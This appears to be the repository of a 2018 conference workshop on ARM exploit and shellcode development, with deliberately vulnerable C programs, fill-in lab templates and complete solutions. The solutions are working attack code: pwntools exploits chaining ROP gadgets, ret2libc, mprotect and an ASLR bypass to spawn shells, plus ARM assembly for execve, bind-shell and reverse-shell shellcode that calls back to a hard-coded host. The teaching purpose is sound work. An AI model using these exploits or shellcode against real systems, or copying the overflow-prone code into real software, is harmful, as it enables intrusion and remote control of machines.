├── workshop_slides.pdf ├── code └── Workshop │ ├── exploits │ ├── gadgets │ │ └── libc-2.24.so │ ├── solutions │ │ ├── stack_sh │ │ │ ├── stack_sh.c │ │ │ └── stach_sh_exploit.py │ │ ├── stack1 │ │ │ ├── stack1.c │ │ │ └── stack1_exploit.py │ │ ├── stack_aslr │ │ │ ├── stack_aslr.c │ │ │ └── stack_aslr_exploit.py │ │ └── stack_mprotect │ │ │ ├── stack_mprotect.c │ │ │ └── stack_mprotect_exploit.py │ ├── stack1 │ │ └── stack1_template.py │ ├── stack_sh │ │ └── stach_sh_template.py │ ├── stack_aslr │ │ └── stack_aslr_template.py │ └── stack_mprotect │ │ └── stach_mprotect_template.py │ ├── shellcodes │ ├── exit │ │ └── exit.s │ ├── execve │ │ └── execve_template.s │ ├── solutions │ │ ├── execve │ │ │ ├── execve.s │ │ │ ├── execv_adr.s │ │ │ └── execve_thumb.s │ │ ├── revese │ │ │ └── reverse.s │ │ └── bind │ │ │ └── bind.s │ ├── reverse │ │ └── reverse_template.s │ └── bind │ │ └── bind_template.s │ └── debugging │ └── debugme.s └── README.md /workshop_slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/invictus1306/Workshop-BSidesMunich2018/HEAD/workshop_slides.pdf -------------------------------------------------------------------------------- /code/Workshop/exploits/gadgets/libc-2.24.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/invictus1306/Workshop-BSidesMunich2018/HEAD/code/Workshop/exploits/gadgets/libc-2.24.so -------------------------------------------------------------------------------- /code/Workshop/shellcodes/exit/exit.s: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | 4 | _start: 5 | mov r0, #0 @ argument 6 | mov r7, #1 @ exit syscall 7 | swi 0 @ execute syscall -------------------------------------------------------------------------------- /code/Workshop/exploits/solutions/stack_sh/stack_sh.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void exploit_me(){ 4 | char buf[16]; 5 | gets(buf); 6 | } 7 | 8 | int main(int argc, char **argv){ 9 | exploit_me(); 10 | printf("Very well!\n"); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /code/Workshop/shellcodes/execve/execve_template.s: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | _start: 4 | @ execve("/bin/sh", 0, 0) 5 | @ r0 = _shell (use the adr instruction) 6 | @ argv=NULL 7 | @ envp=NULL 8 | @ exceve syscall = 11 9 | 10 | _exit: 11 | mov r0, #0 12 | mov r7, #1 13 | swi #0 @ exit(0) 14 | 15 | _shell: .asciz "/bin/sh" 16 | -------------------------------------------------------------------------------- /code/Workshop/shellcodes/solutions/execve/execve.s: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | _start: 4 | @ execve("/bin/sh",["/bin/sh", 0], 0) 5 | 6 | add r0, pc, #28 @PC-relative addressing 7 | mov r2, #0 8 | push {r0, r2} 9 | mov r1, sp 10 | mov r7, #11 11 | swi 0 12 | _exit: 13 | mov r0, #0 14 | mov r7, #1 15 | swi #0 @ exit 16 | shell: .asciz "/bin/sh" 17 | -------------------------------------------------------------------------------- /code/Workshop/shellcodes/solutions/execve/execv_adr.s: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | _start: 4 | @ execve("/bin/sh", 0, 0) 5 | 6 | adr r0, _shell 7 | mov r1, #0 @ argv=NULL 8 | mov r2, r1 @ envp=NULL 9 | mov r7, #11 @ exceve syscall 10 | 11 | mov r7, #11 12 | swi 0 13 | _exit: 14 | mov r0, #0 15 | mov r7, #1 16 | swi #0 @ exit 17 | 18 | _shell: .asciz "/bin/sh" 19 | -------------------------------------------------------------------------------- /code/Workshop/exploits/solutions/stack1/stack1.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | char pwdSecret[] = "stack123!"; 4 | 5 | void print_secr(){ 6 | printf("Password is %s\n", pwdSecret); 7 | } 8 | 9 | int main(int argc, char **argv){ 10 | 11 | int check=0; 12 | 13 | char buffer[32]; 14 | gets(buffer); 15 | 16 | if(check == 0x74696445) { 17 | print_secr(); 18 | }else{ 19 | printf("No password to show\n"); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /code/Workshop/debugging/debugme.s: -------------------------------------------------------------------------------- 1 | .data 2 | string: .asciz "Hello World!\n" 3 | len = . - string 4 | 5 | .text 6 | .global _start 7 | 8 | _start: 9 | mov r0, #1 @ stdout 10 | ldr r1, =string @ string address 11 | ldr r2, =len @ string length 12 | mov r7, #1 @ write syscall number is 4 not 1 13 | swi 0 @ execute syscall 14 | 15 | _exit: 16 | mov r7, #1 @ exit syscall 17 | swi 0 @ execute syscall 18 | -------------------------------------------------------------------------------- /code/Workshop/exploits/solutions/stack1/stack1_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | ip = "192.168.1.100" 6 | port = 22 7 | user = "user1" 8 | pwd = "pass1" 9 | 10 | shell = ssh(user, ip, password=pwd, port=port) 11 | 12 | sh = shell.run('/home/user1/Workshop/exploits/stack1/stack1') 13 | 14 | payload = "A"*32 15 | payload += p32(0x74696445) 16 | 17 | sh.sendline(payload) 18 | print sh.recvall() 19 | 20 | shell.close() 21 | -------------------------------------------------------------------------------- /code/Workshop/shellcodes/solutions/execve/execve_thumb.s: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | _start: 4 | @ execve("/bin/sh", 0, 0) 5 | .code 32 6 | add r6, pc, #1 @ turn on the least-significant bit of the program counter 7 | bx r6 @ Branch and Exchange 8 | .code 16 9 | add r0, pc, #12 10 | sub r2, r2, r2 11 | mov r1, #0 12 | mov r7, #11 13 | swi #0 14 | _exit: 15 | mov r0, #0 16 | mov r7, #1 17 | swi #0 @ exit(0) 18 | .asciz "/bin/sh" 19 | -------------------------------------------------------------------------------- /code/Workshop/exploits/stack1/stack1_template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | ip = "192.168.1.xxx" 6 | port = 22 7 | user = "userX" 8 | pwd = "passX" 9 | 10 | shell = ssh(user, ip, password=pwd, port=port) 11 | 12 | sh = shell.run('/home/userX/Workshop/exploits/stack1/stack1') 13 | 14 | #setting the padding length 15 | padding_length = ?? 16 | payload = "A"*padding_length 17 | 18 | #set the check values in order to redirect the execution to "print_secr" 19 | check_value = ?? 20 | payload += p32(check_value) 21 | 22 | sh.sendline(payload) 23 | print sh.recvall() 24 | 25 | shell.close() -------------------------------------------------------------------------------- /code/Workshop/exploits/solutions/stack_aslr/stack_aslr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static int arr[10] = {0, 4, 7, 12, 6, 33, 19, 79, 54, 57}; 5 | 6 | void exploit_me(){ 7 | char input[16]; 8 | printf("Overflow it!\n"); 9 | scanf("%s", input); 10 | } 11 | 12 | int main(){ 13 | int num; 14 | 15 | printf("Select the index of the element that you want to read: \n"); 16 | 17 | if(scanf("%d", &num)!=1){ 18 | printf("Please enter a number\n"); 19 | return 0; 20 | } 21 | 22 | printf("At position %d the value is %d\n", num, arr[num]); 23 | printf("Do you got the libc base address?\n"); 24 | exploit_me(); 25 | 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /code/Workshop/exploits/solutions/stack_mprotect/stack_mprotect.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void copy_shellcode(){ 6 | char shellcode[] = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00"; 7 | char *heap_shellcode; 8 | heap_shellcode = malloc(sizeof(shellcode)); 9 | memcpy(heap_shellcode, shellcode, sizeof(shellcode)); 10 | } 11 | 12 | void exploit_me(){ 13 | char buf[64]; 14 | gets(buf); 15 | } 16 | 17 | int main(int argc, char **argv){ 18 | copy_shellcode(); 19 | exploit_me(); 20 | printf("Very well!\n"); 21 | return 0; 22 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Workshop-ARM BSidesMunich2018 2 | ## ARM shellcode and exploit development 3 | ### Workshop topics 4 | 5 | #### ARM Architecture 6 | * ARM CPU 7 | * Registers 8 | * Instructions 9 | * PC-relative addressing 10 | * Calling convention and Stack frames 11 | 12 | #### LAB1 - Debugging on ARM system 13 | 14 | #### Shellcode 15 | * syscalls 16 | * Shell spawning shellcode (ARM/Thumb) + LAB2 17 | * Bind TCP shellcode (ARM) + LAB3 18 | * Reverse shell shellcode (ARM) 19 | 20 | #### Exploit 21 | * Tools introduction (pwntools, ROPGadget) 22 | * Modify the value of a local variable (stack1) + LAB4 23 | * Vulnerability mitigations 24 | * Ret to libc - Bypass NX and execute a shell with a single ROP gadget (stack_sh) + LAB5 25 | * Bypass NX with ROP using mprotect (stack_mprotect) + LAB6 26 | * ASLR 27 | * Bypassing NX and ASLR (stack_aslr) + LAB7 28 | 29 | ### Enviroment 30 | * Raspberry pi 3 31 | * Image: raspbian-2018-03-14 (http://ftp.jaist.ac.jp/pub/raspberrypi/raspbian/images/raspbian-2018-03-14/) 32 | -------------------------------------------------------------------------------- /code/Workshop/exploits/solutions/stack_sh/stach_sh_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | ip = "192.168.1.100" 6 | port = 22 7 | user = "user1" 8 | pwd = "pass1" 9 | 10 | libc = ELF('/home/arm/Workshop/exploits/gadgets/libc-2.24.so') 11 | 12 | gadget_offset = 0x0007753c 13 | libc_base = 0x76e65000 14 | 15 | gadget_address = libc_base + gadget_offset 16 | system_address = libc_base + libc.symbols['system'] 17 | shell_address = libc_base + next(libc.search("/bin/sh")) 18 | 19 | shell = ssh(user, ip, password=pwd, port=port) 20 | 21 | sh = shell.run('/home/user1/Workshop/exploits/stack_sh/stack_sh') 22 | 23 | payload = "A"*20 24 | payload += p32(gadget_address) # gadget address - pop {r0, r4, pc} 25 | payload += p32(shell_address) # r0 - address of /bin/sh 26 | payload += p32(0x42424242) # r4 - not important 27 | payload += p32(system_address) # pc - system address 28 | sh.sendline(payload) 29 | 30 | sh.interactive() 31 | 32 | shell.close() 33 | -------------------------------------------------------------------------------- /code/Workshop/exploits/stack_sh/stach_sh_template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | ip = "192.168.1.xxx" 6 | port = 22 7 | user = "userX" 8 | pwd = "passX" 9 | 10 | libc = ELF('/home/arm/Workshop/exploits/gadgets/libc-2.24.so') 11 | 12 | gadget_offset = ??? 13 | libc_base = ??? 14 | 15 | #set the gadget address 16 | gadget_address = libc_base + ??? 17 | system_address = libc_base + libc.symbols['system'] 18 | shell_address = libc_base + next(libc.search("/bin/sh")) 19 | 20 | shell = ssh(user, ip, password=pwd, port=port) 21 | 22 | sh = shell.run('/home/userX/Workshop/exploits/stack_sh/stack_sh') 23 | 24 | #setting the padding length 25 | padding_length = ?? 26 | payload = "A"*padding_length 27 | 28 | payload += p32(gadget_address) # gadget address - pop {r0, r4, pc} 29 | payload += p32(shell_address) # r0 - address of /bin/sh 30 | payload += p32(0x42424242) # r4 - not important 31 | payload += p32(system_address) # pc - system address 32 | sh.sendline(payload) 33 | 34 | sh.interactive() 35 | 36 | shell.close() -------------------------------------------------------------------------------- /code/Workshop/shellcodes/reverse/reverse_template.s: -------------------------------------------------------------------------------- 1 | .global _start 2 | _start: 3 | 4 | @@@@@@ sockfd = socket(int socket_family, int socket_type, int protocol) @@@@@@ 5 | @ to complete 6 | 7 | @ r0 contains the fd returned by the syscall 8 | mov r6, r0 @ file descriptor 9 | 10 | @@@@@@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) @@@@@@ 11 | @ to complete 12 | 13 | @@@@@@ dup2 syscall 14 | mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2) 15 | loop: 16 | mov r0, r6 17 | mov r7, #63 @ dup2 syscall 18 | swi 0 19 | sub r1, r1, #1 @ decrement counter 20 | cmp r1, #-1 @ compare r1 with -1 21 | bne loop @ if the result is not equal jmp to loop 22 | 23 | @@@@@@ int execve(const char *filename, char *const argv[],char *const envp[]) @@@@@@ 24 | @ to complete 25 | 26 | _exit: 27 | mov r0, #0 28 | mov r7, #1 29 | swi 0 @ exit(0) 30 | 31 | _sh: 32 | .asciz "/bin/sh" 33 | 34 | _sockaddr: 35 | .hword 2 @ sin_family 36 | .hword 0xb315 @ sin_port 37 | .word 0x0100a8c0 @ sin_addr 38 | .byte 0,0,0,0,0,0,0,0 @ sin_zero -------------------------------------------------------------------------------- /code/Workshop/exploits/solutions/stack_aslr/stack_aslr_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | ip = "192.168.1.100" 6 | port = 22 7 | user = "user1" 8 | pwd = "pass1" 9 | 10 | libc = ELF('/home/arm/Workshop/exploits/gadgets/libc-2.24.so') 11 | 12 | shell = ssh(user, ip, password=pwd, port=port) 13 | 14 | sh = shell.run('/home/user1/Workshop/exploits/stack_aslr/stack_aslr') 15 | 16 | gadget_offset = 0x0007753c 17 | 18 | sh.recvuntil('read: \n') 19 | sh.sendline('-14') # offset to the libc in the GOT section 20 | ret = sh.recvline().split() 21 | libc_main = int(ret[6]) 22 | 23 | libc_base = libc_main - libc.symbols['__libc_start_main'] 24 | 25 | rop_gadget = libc_base + gadget_offset 26 | system_address = libc_base + libc.symbols['system'] 27 | shell_address = libc_base + next(libc.search("/bin/sh")) 28 | log.info('libcbase: %#x' % libc_base) 29 | log.info('system_address: %#x' % system_address) 30 | log.info('shell_address: %#x' % shell_address) 31 | 32 | sh.recvuntil('Overflow it!') 33 | payload = "A"*20 34 | payload += p32(rop_gadget) # gadget address - pop {r0, r4, pc} 35 | payload += p32(shell_address) # r0 - address of /bin/sh 36 | payload += p32(0x42424242) # r4 - not important 37 | payload += p32(system_address) # pc - system address 38 | sh.sendline(payload) 39 | 40 | sh.interactive() 41 | shell.close() -------------------------------------------------------------------------------- /code/Workshop/exploits/stack_aslr/stack_aslr_template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | ip = "192.168.1.xxx" 6 | port = 22 7 | user = "userX" 8 | pwd = "passX" 9 | 10 | libc = ELF('/home/arm/Workshop/exploits/gadgets/libc-2.24.so') 11 | 12 | shell = ssh(user, ip, password=pwd, port=port) 13 | 14 | sh = shell.run('/home/userX/Workshop/exploits/stack_aslr/stack_aslr') 15 | 16 | gadget_offset = ??? #- pop {r0, r4, pc} 17 | 18 | sh.recvuntil('read: \n') 19 | sh.sendline('-14') # offset to the libc in the GOT section 20 | ret = sh.recvline().split() 21 | libc_main = int(ret[6]) 22 | 23 | libc_base = libc_main - libc.symbols['__libc_start_main'] 24 | 25 | rop_gadget = libc_base + ??? 26 | system_address = libc_base + libc.symbols['system'] 27 | shell_address = libc_base + next(libc.search("/bin/sh")) 28 | log.info('libcbase: %#x' % libc_base) 29 | log.info('system_address: %#x' % system_address) 30 | log.info('shell_address: %#x' % shell_address) 31 | 32 | sh.recvuntil('Overflow it!') 33 | padding_length = ?? 34 | payload = "A"*padding_length 35 | payload += p32(rop_gadget) # gadget address - pop {r0, r4, pc} 36 | payload += p32(shell_address) # r0 - address of /bin/sh 37 | payload += p32(0x42424242) # r4 - not important 38 | payload += p32(system_address) # pc - system address 39 | sh.sendline(payload) 40 | 41 | sh.interactive() 42 | shell.close() -------------------------------------------------------------------------------- /code/Workshop/shellcodes/solutions/revese/reverse.s: -------------------------------------------------------------------------------- 1 | .global _start 2 | _start: 3 | 4 | @ sockfd = socket(int socket_family, int socket_type, int protocol); 5 | mov r0, #2 @ PF_INET = 2 6 | mov r1, #1 @ SOCK_STREAM = 1 7 | mov r2, #0 @ IPPROTO_IP = 0 8 | ldr r7, =#281 @ socketcall 9 | swi 0 10 | 11 | @ r0 contains the fd returned by the syscall 12 | mov r6, r0 @ file descriptor 13 | 14 | @ bind the file descriptor to an address/port 15 | @ int connect 16 | 17 | adr r1, _sockaddr @ sockaddr struct 18 | mov r2, #0x10 @ addrlen 19 | mov r0, r6 @ mov sockfd into r0 20 | ldr r7, =#283 @ connect syscall 21 | swi 0 22 | 23 | @ Redirect stdin, stdout and stderr via dup2 24 | @ r0 = accepted socket 25 | mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2) 26 | loop: 27 | mov r0, r6 28 | mov r7, #63 @ dup2 syscall 29 | swi 0 30 | sub r1, r1, #1 @ decrement counter 31 | cmp r1, #-1 @ compare r1 with -1 32 | bne loop @ if the result is not equal jmp to loop 33 | 34 | @ int execve(const char *filename, char *const argv[],char *const envp[]); 35 | adr r0, _sh 36 | mov r1, #0 @ argv=NULL 37 | mov r2, r1 @ envp=NULL 38 | mov r7, #11 @ exceve syscall 39 | swi 0 40 | 41 | _exit: 42 | mov r0, #0 43 | mov r7, #1 44 | swi 0 @ exit(0) 45 | 46 | _sh: 47 | .asciz "/bin/sh" 48 | 49 | _sockaddr: 50 | .hword 2 @ sin_family 51 | .hword 0xb315 @ sin_port 52 | .word 0x0100a8c0 @ sin_addr 53 | .byte 0,0,0,0,0,0,0,0 @ sin_zero -------------------------------------------------------------------------------- /code/Workshop/shellcodes/bind/bind_template.s: -------------------------------------------------------------------------------- 1 | @.syntax unified 2 | .global _start 3 | _start: 4 | 5 | @@@@@@ sockfd = socket(int socket_family, int socket_type, int protocol) @@@@@@ 6 | @ socket_family = PF_INET = 2 7 | @ socket_type = SOCK_STREAM = 1 8 | @ protocol = IPPROTO_IP = 0 9 | @ socket syscall = 281 10 | 11 | @ r0 contains the fd returned by the syscall 12 | mov r6, r0 @ file descriptor 13 | 14 | @@@@@@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) @@@@@@ 15 | mov r0, r6 @ sockfd = r6 16 | @ sockaddr struct = _sockaddr 17 | @ addrlen = 0x10 18 | @ bind syscall = 282 19 | 20 | @@@@@@ int listen(int sockfd, int backlog); 21 | mov r0, r6 @ sockfd = r6 22 | @ backlog = 1 23 | @ listen syscall = 284 24 | 25 | @@@@@@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) @@@@@@ 26 | mov r0, r6 @ sockfd = r6 27 | @ addr = 0 28 | @ addrlen = 0 29 | @ accept syscall = 285 30 | 31 | @ Redirect stdin, stdout and stderr via dup2 32 | @ nothing to do here 33 | @ r0 = accepted socket 34 | mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2) 35 | loop: 36 | mov r7, #63 @ dup2 syscall 37 | swi 0 38 | sub r1, r1, #1 @ decrement counter 39 | cmp r1, #-1 @ compare r1 with -1 40 | bne loop @ if the result is not equal jmp to loop 41 | 42 | @@@@@@ int execve(const char *filename, char *const argv[],char *const envp[]) @@@@@@ 43 | @ we already know how to write it 44 | 45 | _exit: 46 | mov r0, #0 47 | mov r7, #1 48 | swi 0 @ exit(0) 49 | 50 | _sh: 51 | .asciz "/bin/sh" 52 | 53 | _sockaddr: 54 | .hword 2 @ sin_family 55 | .hword 0xb315 @ sin_port 56 | .word 0 @ sin_addr 57 | .byte 0,0,0,0,0,0,0,0 @ sin_zero 58 | -------------------------------------------------------------------------------- /code/Workshop/shellcodes/solutions/bind/bind.s: -------------------------------------------------------------------------------- 1 | .global _start 2 | _start: 3 | 4 | @ sockfd = socket(int socket_family, int socket_type, int protocol); 5 | mov r0, #2 @ PF_INET = 2 6 | mov r1, #1 @ SOCK_STREAM = 1 7 | mov r2, #0 @ IPPROTO_IP = 0 8 | ldr r7, =#281 @ socketcall 9 | swi 0 10 | 11 | @ r0 contains the fd returned by the syscall 12 | mov r6, r0 @ file descriptor 13 | 14 | @ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 15 | adr r1, _sockaddr @ sockaddr struct 16 | mov r2, #0x10 @ addrlen 17 | mov r0, r6 @ mov sockfd into r0 18 | ldr r7, =#282 @ bind syscall 19 | swi 0 20 | 21 | @ int listen(int sockfd, int backlog); 22 | mov r0, r6 @ mov sockfd into r0 23 | mov r1, #1 @ backlog=1 24 | ldr r7, =#284 @ listen syscall 25 | swi 0 26 | 27 | @ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) 28 | mov r0, r6 @ mov sockfd into r0 29 | sub r1, r1, r1 @ addr=0 30 | sub r2, r2, r2 @ addrlen=0 31 | ldr r7, =#285 @ accept syscall 32 | swi 0 33 | 34 | @ Redirect stdin, stdout and stderr via dup2 35 | @ r0 = acccept ret value 36 | mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2) 37 | loop: 38 | mov r7, #63 @ dup2 syscall 39 | swi 0 40 | sub r1, r1, #1 @ decrement counter 41 | cmp r1, #-1 @ compare r1 with -1 42 | bne loop @ if the result is not equal jmp to loop 43 | 44 | @ int execve(const char *filename, char *const argv[],char *const envp[]); 45 | adr r0, _sh 46 | mov r1, #0 @ argv=NULL 47 | mov r2, r1 @ envp=NULL 48 | mov r7, #11 @ exceve syscall 49 | swi 0 50 | 51 | _exit: 52 | mov r0, #0 53 | mov r7, #1 54 | swi 0 @ exit(0) 55 | 56 | _sh: 57 | .asciz "/bin/sh" 58 | 59 | _sockaddr: 60 | .hword 2 @ sin_family 61 | .hword 0xb315 @ sin_port 62 | .word 0 @ sin_addr 63 | .byte 0,0,0,0,0,0,0,0 @ sin_zero 64 | -------------------------------------------------------------------------------- /code/Workshop/exploits/stack_mprotect/stach_mprotect_template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | import time 5 | 6 | ip = "192.168.1.xxx" 7 | port = 22 8 | user = "userX" 9 | pwd = "passX" 10 | 11 | libc = ELF('/home/arm/Workshop/exploits/gadgets/libc-2.24.so') 12 | 13 | libc_base = ??? 14 | 15 | shell = ssh(user, ip, password=pwd, port=port) 16 | 17 | sh = shell.run('/home/userX/Workshop/exploits/stack_mprotect/stack_mprotect') 18 | 19 | time.sleep(2) 20 | 21 | shellcode_address = ??? 22 | page_size = 4096 23 | 24 | shellcode_page_aligned = (shellcode_address & ~(page_size-1)) 25 | 26 | gadget1_offset = ??? # pop {lr} ; add sp, sp, #4 ; bx lr 27 | gadget2_offset = ??? # pop {r0, r1, r2, r6, pc} 28 | 29 | gadget1_address = libc_base + gadget1_offset 30 | gadget2_address = libc_base + gadget2_offset + 1 # thumb 31 | mprotect_address = libc_base + libc.symbols['mprotect'] 32 | log.info('address of the gadget1: %#x' % gadget1_address) 33 | log.info('address of the gadget2: %#x' % gadget2_address) 34 | log.info('address of the mprotect: %#x' % mprotect_address) 35 | 36 | padding = ?? 37 | payload = "A"*padding 38 | 39 | payload += p32(gadget1_address) # gadget1 40 | payload += p32(gadget2_address) # lr address 41 | 42 | payload += p32(0x41414141) # padding due to: add sp, sp, #4 43 | payload += p32(shellcode_page_aligned) # r0 = shellcode address page aligned 44 | payload += p32(0x100) # r1 = shellcode size 45 | payload += p32(0x7) # r2 = protection 7 (rwx) 46 | payload += p32(0x41414141) # r6 = not important 47 | payload += p32(mprotect_address) # pc = mprotect address 48 | 49 | payload += p32(0x41414141) # r0 = not important 50 | payload += p32(0x41414141) # r1 = not important 51 | payload += p32(0x41414141) # r2 = not important 52 | payload += p32(0x41414141) # r6 = not important 53 | payload += p32(shellcode_address) # pc = shellcode address 54 | 55 | sh.sendline(payload) 56 | sh.interactive() 57 | shell.close() 58 | -------------------------------------------------------------------------------- /code/Workshop/exploits/solutions/stack_mprotect/stack_mprotect_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | import time 5 | 6 | ip = "192.168.1.100" 7 | port = 22 8 | user = "user1" 9 | pwd = "pass1" 10 | 11 | libc = ELF('/home/arm/Workshop/exploits/gadgets/libc-2.24.so') 12 | 13 | libc_base = 0x76e65000 14 | 15 | shell = ssh(user, ip, password=pwd, port=port) 16 | 17 | sh = shell.run('/home/user1/Workshop/exploits/stack_mprotect/stack_mprotect') 18 | 19 | time.sleep(2) 20 | 21 | shellcode_address = 0x22008 22 | page_size = 4096 23 | 24 | shellcode_page_aligned = (shellcode_address & ~(page_size-1)) 25 | 26 | gadget1_offset = 0x00038a24 # pop {lr} ; add sp, sp, #4 ; bx lr 27 | gadget2_offset = 0x000e6a68 # pop {r0, r1, r2, r6, pc} 28 | 29 | gadget1_address = libc_base + gadget1_offset 30 | gadget2_address = libc_base + gadget2_offset + 1 # thumb 31 | mprotect_address = libc_base + libc.symbols['mprotect'] 32 | log.info('address of the gadget1: %#x' % gadget1_address) 33 | log.info('address of the gadget2: %#x' % gadget2_address) 34 | log.info('address of the mprotect: %#x' % mprotect_address) 35 | 36 | payload = "A"*64 # padding 37 | payload += "B"*4 # r11 38 | 39 | payload += p32(gadget1_address) # gadget1 40 | payload += p32(gadget2_address) # lr address 41 | 42 | payload += p32(0x41414141) # padding due to: add sp, sp, #4 43 | payload += p32(shellcode_page_aligned) # r0 = shellcode address page aligned 44 | payload += p32(0x100) # r1 = shellcode size 45 | payload += p32(0x7) # r2 = protection 7 (rwx) 46 | payload += p32(0x41414141) # r6 = not important 47 | payload += p32(mprotect_address) # pc = mprotect address 48 | 49 | payload += p32(0x41414141) # r0 = not important 50 | payload += p32(0x41414141) # r1 = not important 51 | payload += p32(0x41414141) # r2 = not important 52 | payload += p32(0x41414141) # r6 = not important 53 | payload += p32(shellcode_address) # pc = shellcode address 54 | 55 | sh.sendline(payload) 56 | sh.interactive() 57 | shell.close() 58 | --------------------------------------------------------------------------------